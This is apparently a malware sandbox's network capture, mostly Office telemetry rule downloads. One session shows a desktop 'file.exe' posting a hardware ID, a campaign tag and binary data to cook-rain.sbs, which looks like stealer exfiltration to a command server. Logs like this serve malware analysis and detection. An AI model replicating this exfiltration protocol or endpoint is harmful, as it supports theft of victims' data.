2024-11-18 01:34:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013415Z-1866b5c5fbbfkdfghC1DFW4sv4000000046000000000cvc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013415Z-16547b76f7fkz9l7hC1DFW35uc000000024000000000h832 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013415Z-16547b76f7fd77jrhC1DFWfwq000000001t000000000be85 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013415Z-16547b76f7fffb7lhC1DFWdsxg000000058g00000000cfvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013415Z-16547b76f7f5b5tthC1DFWuk8400000003t0000000007w4q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49720	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:15 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5GCMNKEWUB2L1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19939 Host: cook-rain.sbs
2024-11-18 01:34:15 UTC	15331	OUT	Data Raw: 2d 2d 35 47 43 4d 4e 4b 45 57 55 42 32 4c 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 35 47 43 4d 4e 4b 45 57 55 42 32 4c 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 47 43 4d 4e 4b 45 57 55 42 32 4c 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 47 43 4d 4e Data Ascii: --5GCMNKEWUB2L1Content-Disposition: form-data; name="hwid"643D11C7A48F634AF7005D7B20127A88--5GCMNKEWUB2L1Content-Disposition: form-data; name="pid"3--5GCMNKEWUB2L1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5GCMN
2024-11-18 01:34:15 UTC	4608	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-18 01:34:16 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2bs6bscrf01p1foa7on2utbte; expires=Thu, 13-Mar-2025 19:20:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZrGA4%2Fl%2FKrPfCxRUWNwQmmYgU2cgWYYvS%2B9pUQL77GS9IyfMIzrCEk6KB%2F%2BZvwbr3v0tKyBAib0HKOLQTxjP9qEib3cNEFyol4MWVuQ5cWpqBo7xTuzXqUBBtwzsKD61"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4437963d337b32-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18688&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20893&delivery_rate=155223&cwnd=32&unsent_bytes=0&cid=748f078f2a0c8bae&ts=597&x=0"
2024-11-18 01:34:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 01:34:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 9a209ebf-201e-0096-69f1-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013416Z-164f84587bf9nk94hC1DFWerbg0000000460000000005m2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013416Z-16547b76f7fht2hfhC1DFWbngg00000005mg0000000011p8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013416Z-164f84587bf6n6jwhC1DFW90fn00000004cg000000002v7r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013416Z-164f84587bf7jb9dhC1DFWkay400000004p000000000p8zy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013416Z-164f84587bfbvgrghC1DFWbs7w000000055g0000000013xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 